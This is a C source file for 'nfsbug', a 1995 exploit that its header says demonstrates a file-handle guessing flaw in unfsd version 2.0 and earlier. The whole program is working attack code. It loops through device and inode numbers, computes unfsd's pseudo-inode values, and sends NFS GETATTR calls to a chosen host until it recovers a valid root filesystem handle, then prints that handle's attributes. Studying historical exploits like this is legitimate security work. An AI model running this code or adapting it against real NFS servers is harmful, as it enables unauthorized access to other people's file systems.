/*
 * nfsbug	This program demonstrates a security problem in unfsd
 *		version 2.0 and earlier. It has been fixed now for almost
 *		a year, so I think it should be fairly safe to release the
 *		exploit code to the public.
 *
 *		This program tries to guess the file handle of the root
 *		FS by trying reasonable combinations of device and inode
 *		number in succession, and attempting to get its attributes
 *		handle from the server. It stops when it receives a valid
 *		reply and prints out the results.
 *
 *		You can speed up the search by providing the device or inode
 *		number you want to probe for using the -d and -i switch.
 *		Compile with gcc -Wall -o nfsbug nfsbug.c
 *
 *		Copyright (C) 1995 O. Kirch
 *		This program may be distributed freely according to
 *		the GPL.
 */

#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <getopt.h>
#include <netdb.h>

#include <rpc/rpc.h>
#include <rpc/xdr.h>
#include <rpcsvc/nfs_prot.h>


static CLIENT *	client;
static char *	prog;

/* dev_t and ino_t must match linux types, not client host types */
#define dev_t	unsigned short
#define ino_t	unsigned long

#define NO_DEV	((dev_t)~0)
#define NO_INO	((ino_t)~0)

/*
 * This is the FH representation used by unfsd. 
 */
typedef struct svc_fh {
	unsigned long	h_psi;		/* 4 bytes */
	unsigned char	h_path[28];	/* 28 bytes */
} svc_fh;

/*
 * Prototypes
 */
static int	try_device(dev_t dev, ino_t ino);
static int	try_inode(dev_t dev, ino_t ino);
static int	pseudo_inode(dev_t dev, ino_t ino);
static CLIENT *	nfsconnect(char *hostname);
static int	nfscall(dev_t dev, ino_t ino, svc_fh *h);
static bool_t	xdr_fh(XDR *xdrs, svc_fh *fh);
static bool_t	xdr_getattrres(XDR *xdrs, attrstat *as);

int
main(int argc, char **argv)
{
	char	*hostname = "localhost";
	char	*end;
	char	c;
	dev_t	dev = NO_DEV;
	ino_t	ino = NO_INO;
	int	ok = 0;

	if ((prog = strrchr(argv[0], '/')) == NULL) {
		prog = argv[0];
	} else {
		prog++;
	}

	while ((c = getopt(argc, argv, "d:h:i:")) != -1) {
		switch (c) {
		case 'd':
			if (!strncmp(optarg, "0x", 2))
				dev = strtol(optarg + 2, &end, 16);
			else
				dev = strtol(optarg, &end, 10);
			if (*end != '\0') {
				fprintf(stderr,
					"%s: bad device number %s\n",
					prog, optarg);
				exit(2);
			}
			break;
		case 'i':
			ino = strtol(optarg, &end, 10);
			if (*end != '\0') {
				fprintf(stderr,
					"%s: bad inode number %s\n",
					prog, optarg);
				exit(2);
			}
			break;
		case 'h':
			hostname = optarg;
			break;
		case '?':
			fprintf(stderr, "%s: unknown argument %c\n", prog, c);
			exit(2);
		}
	}
	if (optind != argc) {
		fprintf(stderr, "%s: bad number of arguments\n", prog);
		exit(2);
	}
	client = nfsconnect(hostname);

	if (dev != NO_DEV) {
		ok = try_device(dev, ino);
	} else {
		unsigned short major, minor;

		for (major = 0; major < 256 && !ok; major++) {
			printf("major %02x: ", major);
			for (minor = 0; minor < 32 && !ok; minor++) {
				printf("%x ", minor); fflush(stdout);
				dev = (major << 8) | minor;
				ok = try_device(dev, ino);
			}
			printf("\n");
		}
	}

	if (!ok)
		fprintf(stderr, "nfsbug: server seems to be immune\n");

	return 0;
}

static int
try_device(dev_t dev, ino_t ino)
{
	int ok = 0;

	if (ino != NO_INO)
		return try_inode(dev, ino);
	for (ino = 0; ino < 10 && !ok; ino++)
		ok = try_inode(dev, ino);
	return ok;
}

/* Try if the given dev/ino combination yields a valid file handle for
 * the FS root.
 */
static int
try_inode(dev_t dev, ino_t ino)
{
	svc_fh	fh;

	memset(&fh, 0, sizeof(fh));
	fh.h_psi = pseudo_inode(dev, ino);
	if (nfscall(dev, ino, &fh))
		return 1;
	fh.h_psi = htonl(fh.h_psi); /* if client has different byte order */
	if (nfscall(dev, ino, &fh))
		return 1;
	return 0;
}

/*
 * Compute unfsd's pseudo inode numbers.
 */
static int
pseudo_inode(dev_t dev, ino_t ino)
{
	unsigned long	dmajor, dminor;

	/*
         * Assuming major and minor numbers are small integers,
         * gravitate bits of dmajor & dminor device number to
         * high-order bits of word, to avoid clash with real inode num.
         */
	/* reverse (byte-wise) */
	dmajor = ((dev & 0xf0f) << 4) | ((dev & 0xf0f0) >> 4);
	dmajor = ((dmajor & 0x3333) << 2) | ((dmajor & 0xcccc) >> 2);
	dmajor = ((dmajor & 0x5555) << 1) | ((dmajor & 0xaaaa) >> 1);

	/* spread low-16 -> 32 with 0's in even posn */
	dmajor = ((dmajor & 0xff00) << 8) | (dmajor & 0xff);
	dmajor = ((dmajor & 0xf000f0) << 4) | (dmajor & 0xf000f);
	dmajor = ((dmajor & 0xc0c0c0c) << 2) | (dmajor & 0x3030303);
	dmajor = ((dmajor & 0x22222222) << 1) | (dmajor & 0x11111111);
	dminor = (dmajor & 0x5555) << 15;
	dmajor = dmajor & 0x55550000;

	return ((dmajor | dminor) ^ ino);
}


/*
 * Connect to the NFS server.
 */
static CLIENT *
nfsconnect(char *hostname)
{
	struct sockaddr_in sin;
	struct hostent	*hp;
	struct timeval	tv = { 5, 0 };
	int		fd = RPC_ANYSOCK;
	CLIENT		*clnt;

	if (!(hp = gethostbyname(hostname))) {
		fprintf(stderr, "%s: unknown hostname %s\n", prog, hostname);
		return NULL;
	}
	sin.sin_family = AF_INET;
	sin.sin_addr = *(struct in_addr *)(hp->h_addr);
	sin.sin_port = htons(2049);

	clnt = clntudp_create(&sin, 100003, 2, tv, &fd);
	if (!clnt)
		clnt_pcreateerror("can't create client");

	return clnt;
}

/*
 * Call the NFS server
 */
static int
nfscall(dev_t dev, ino_t ino, svc_fh *h)
{
	struct timeval	tv = { 5, 0 };
	struct attrstat	res;
	struct fattr	*attr = &res.attrstat_u.attributes;
	int		rpcres;

	rpcres = clnt_call(client, 1, (xdrproc_t) xdr_fh, h,
				      (xdrproc_t) xdr_getattrres, &res, tv);
	if (rpcres != 0)
		return 0;
	if (res.status != NFS_OK)
		return 0;
	printf("\nGOT IT!\nfile system root attributes:\n"
	       "device:  0x%04x\n"
	       "inode:   %ld\n"
	       "mode:    0%o\n"
	       "uid:     %d\n"
	       "gid:     %d\n"
	       "fsid:    0x%x\n"
	       "psi:     %d\n",
	       dev, ino,
	       attr->mode, attr->uid, attr->gid,
	       attr->fsid, attr->fileid);
	return 1;
}

static bool_t
xdr_fh(XDR *xdrs, svc_fh *fh)
{
	return xdr_opaque(xdrs, (caddr_t) fh, 32);
}

static bool_t
xdr_getattrres(XDR *xdrs, attrstat *as)
{
	struct fattr	*attr = &as->attrstat_u.attributes;

	if (!xdr_u_int(xdrs, &as->status))
		return 0;
	if (as->status != 0)
		return 1;
	return xdr_u_int(xdrs, &attr->type) &&
	       xdr_int(xdrs, &attr->mode) &&
	       xdr_int(xdrs, &attr->nlink) &&
	       xdr_int(xdrs, &attr->uid) &&
	       xdr_int(xdrs, &attr->gid) &&
	       xdr_int(xdrs, &attr->size) &&
	       xdr_int(xdrs, &attr->blocksize) &&
	       xdr_int(xdrs, &attr->rdev) &&
	       xdr_int(xdrs, &attr->blocks) &&
	       xdr_int(xdrs, &attr->fsid) &&
	       xdr_int(xdrs, &attr->fileid) &&
	       xdr_u_int(xdrs, &attr->atime.seconds) &&
	       xdr_u_int(xdrs, &attr->atime.useconds) &&
	       xdr_u_int(xdrs, &attr->mtime.seconds) &&
	       xdr_u_int(xdrs, &attr->mtime.useconds) &&
	       xdr_u_int(xdrs, &attr->ctime.seconds) &&
	       xdr_u_int(xdrs, &attr->ctime.useconds);
}
